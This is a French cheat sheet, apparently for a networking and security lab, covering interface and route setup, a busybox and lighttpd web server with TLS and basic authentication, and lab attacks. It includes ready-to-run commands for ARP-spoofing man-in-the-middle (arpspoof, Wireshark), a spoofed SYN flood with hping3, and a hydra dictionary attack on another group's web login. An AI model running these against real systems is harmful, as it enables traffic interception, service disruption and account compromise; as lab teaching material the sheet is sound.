

Configuration de réseaux

Configuration dynamique	Configuration statique
ifconfig eth0 <@IP> netmask <netmask>	nano /etc/netw- ork/interfaces
echo 1 > /proc/- sys/net/ipv4/ip_fo- rward sur la passerelle	dans interfaces auto eth0 // iface eth0 inet static
route add default gw <@IP passerelle> sur les autres machines	DI address 192.16- 8.0.1 // netmask 255.255.255.0
ssh <login>@<des- tination> // ping <de- stination>	DI gateway 192.16- 8.0.254 si non-passe- relle
tracertoute <destinat- ion>	DI up echo 1 > /proc/sys/net/i- pv4/ip_forward si passerelle
	ifup eth0 // ifdown eth0
nano /etc/hosts specifier nom pour adresse	ip, ifconfig, route et ping verif valide

Serveur web

startx mode graphique
/var/www/html créer page simple
busybox httpd -f -vv -h /var/www/html
URL locale http://127.0.0.1 pour y accéder
/etc/hosts contacter site avec nom ex: alcest

Man In The Middle

Principe sous mode graphique	Sécurisation
echo 1 > /proc/- sys/net/ipv4/ip_fo- rward sur machine espion	mkdir /etc/lighttpd/s- ecurity // cd /etc/ligh- ttd/security repert dédié au certif
arpspoof -t <@IP machine qui va se faire pwned> <@IP machine dont on souhaite usurper l'identité>	openssl req -new - newkey rsa:4096 - x509 -sha256 -days 365 -nodes -out alcest.crt -keyout alcest.key

Man In The Middle (cont)

wireshark -i eth0 -k capturer traffic	Country name: FR // Common name: nom configuré dans /hosts
echo "/:<use- rname>:\$(busybox httpd - m '<passwor- d>)' " > /etc/h- ttpd.conf authent- tification au site web	openssl x509 -in alcest.crt -text lire le certif
busybox httpd - f -vv -h /var/w- ww/html -r "- Restricted Area:" -c /etc/httpd.conf relancer avec auth	cat alcest.key alcest.crt > alcest.pem certif serveur & clé pv

nano /etc/lighttpd/conf- enabled/tls.conf
server.modules += ("mo- d_openssl") // \$SERVE- R["socket"] == "0.0.0.0:4- 43" { ssl.engine = "ena- ble" // ssl.pemfile = "/et- c/lighttpd/security/alce- st.pem" }
echo "<username>:\$(bu- sybox httpd -m '<pass- word>)' " > <auth file> authentification
nano /etc/lighttpd/conf- enabled/auth.conf

Man In The Middle (cont)

server.modules += ("mod_auth", "mod_authn_file") auth.backend = "htpasswd" auth.backend.htpasswd.userfile = "/etc/l- ighttpd/security/alcest.auth" auth.require = ("/" => ("method" => "basic", "realm" => "- password required", "require" => "valid-- user")))
systemctl start lighttpd lancer serv web
systemctl status lighttpd verif etat serv web

Deny Of Service

hping3 --flood --syn --spoof <@IP source usurpée> <@IP victime>
htop verif charge systeme
tcpdump -i any voir paquets

Réseau étendu

Reseau etendu	Attaque par dictionnaire
/sbin/ifconfig	nano /opt/wordlist config mdp
/mnt/netta/a- pps/vnet/nemu- vnet netadm lancer reseau virtuel group1	most <file>
[nemu]-> slink()	hydra -V -f -l admin -P <fichier de mots de passe> http-get://<IP nightwish de l'autre groupe>
/mnt/netta/apps/vnet/nemu-vnet netadm lancer reseau virt grp2	
[nemu]-> clink('<@IP du groupe principal>')	
config sous-reseaux	

